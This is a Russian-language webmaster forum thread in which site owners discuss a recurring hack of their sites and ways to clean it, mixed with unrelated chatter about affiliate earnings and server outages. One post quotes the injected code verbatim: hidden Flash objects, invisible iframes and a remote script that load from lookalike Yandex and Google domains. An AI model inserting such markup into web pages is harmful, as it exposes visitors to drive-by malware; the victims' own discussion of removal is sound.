greatreklam

Рейтинг
82
Регистрация
03.03.2008
Dron1987:
У кого как с доходами?😒

Начиналась неделя отлично, но начиная со среды заработок резко упал...

reso:
greatreklam, просто хочу уточнить для себя.
Вы поставили fix, поменяли пароли для своего пользователя БД (а еще лучше и имя пользователя), поменяли пароль администратора сайта (обратили внимание на e-mail, потому что по нему возможно восстановление пароля админа), удалили код.

И все равно взломали?

Да, все было поменяно, за исключением смены имени пользователя БД, менял пароль и к админке, заплатка поставлена, к утру обнаружил снова только на высоко посещаемых сайтах... Остальные до сих пор не тронул...

Ночью все очистил двумя регулярками в Notepad++

<object classid=.+?</object>

и
<script async=.+?</script>

Все пароли поменял, кэши очистил, с утра опять эта зараза сидела на всех страницах...

---------- Добавлено 14.09.2013 в 08:14 ----------

Еще появился вариант с iframe

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="1" height="1">

<param name="movie" value="http://webmasters-yandex.ru/flash.swf?205930577" />
<param name="quality" value="high" />
<param name="scale" value="exactfit" />
<param name="bgcolor" value="#FFFFFF" />
<param name="AllowScriptAccess" value="always" /><embed src="http://webmasters-yandex.ru/flash.swf?1244404735" width="1" height="1" type="application/x-shockwave-flash" allowscriptaccess="always" pluginspage="http://www.macromedia.com/go/getflashplayer"></object>
<div id="start20130914">&nbsp;</div>
<iframe src="http://yandex-webmaster.ru/GYYmkj.cgi?3" style="position: absolute !important; overflow: hidden; clip: rect(1px 1px 1px 1px); clip: rect(1px, 1px, 1px, 1px); width: 660px; height: 267px;"></iframe>
<iframe src="http://statsyandex.ru/hCiERBFx.cgi?3" style="position: absolute !important; overflow: hidden; clip: rect(1px 1px 1px 1px); clip: rect(1px, 1px, 1px, 1px); width: 537px; height: 348px;"></iframe>
<div style="position: fixed; overflow: auto; margin: 0px; left:0; top:0; width: 100%; height: 100%; z-index: 999; background: url('http://webmaster-google.ru/window/bg.png') repeat;">
<iframe src="http://webmaster-google.ru/window/" style="position: absolute; margin-top: -250px; margin-left: -300px; top: 50%; left: 50%; width: 650px; height: 500px; z-index: 1000; border: 0px; overflow: none;"></iframe></div>
Gooodd:
greatreklam, в теме выложен php скрипт, который чистит. Если у кого уже не тег object а тег script , то там в скрипте нужно в 4х местах поменять Object на script

Пробовал его запустить, но получаю в ответ

Код ошибки: 500

Народ, подскажите регулярку для Notepad++ чтобы можно было почистить это в базе с учетом что там проставлен рандомный параметр в каждую новость (

Вот такое я вижу у себя

<object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" width=\"1\" height=\"1\"><param name=\"movie\" value=\"http://webmasters-yandex.ru/flash.swf?c4ca4238a0b923820dcc509a6f75849b\"><param name=\"quality\" value=\"high\"/><param name=\"scale\" value=\"exactfit\"><param name=\"bgcolor\" value=\"#FFFFFF\"/><param name=\"AllowScriptAccess\" value=\"always\"/><embed src=\"http://webmasters-yandex.ru/flash.swf?c4ca4238a0b923820dcc509a6f75849b\" width=\"1\" height=\"1\" type=\"application/x-shockwave-flash\" AllowScriptAccess=\"always\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\"></embed></object><script async=\"async\" type=\"text/javascript\" src=\"http://google-webmaster.ru/c4ca4238a0b923820dcc509a6f75849b.js\"></script>

c4ca4238a0b923820dcc509a6f75849b - а вот это всегда разное в новости

FoxyMaggie:
С нетерпением жду сентября 🚬

По вашему опыту в сентябре большой рост?

А сегодня ни каких проблем с сайтом или биллингами не было? Что-то ребилы просели слишком сильно...

золотой магнат:
При создании динамичного баннеры выводится {"success":true,"location":"\/promo\/dinamic\/view\/?bid=12427","bid":12427}
у всех такое?

Да, есть такое... И уже не первый день...

Runetki:
Уважаемые партнеры, на сайте сегодня ведутся плановые работы, что может отразится на доступности сайта с некоторых провайдеров.
Мы приносим извинения за доставленные неудобства и в качестве компенсации всем партнерам будет начислен бонус в размере 100% от заработка за 31.07.2013
С уважением, Мия

А когда работа сайта полностью стабилизируется?

Amastreus:
Опять 502 Bad Gateway, пните свои сервера :\

что-то зачастили проблемы с сайтом.(

Всего: 78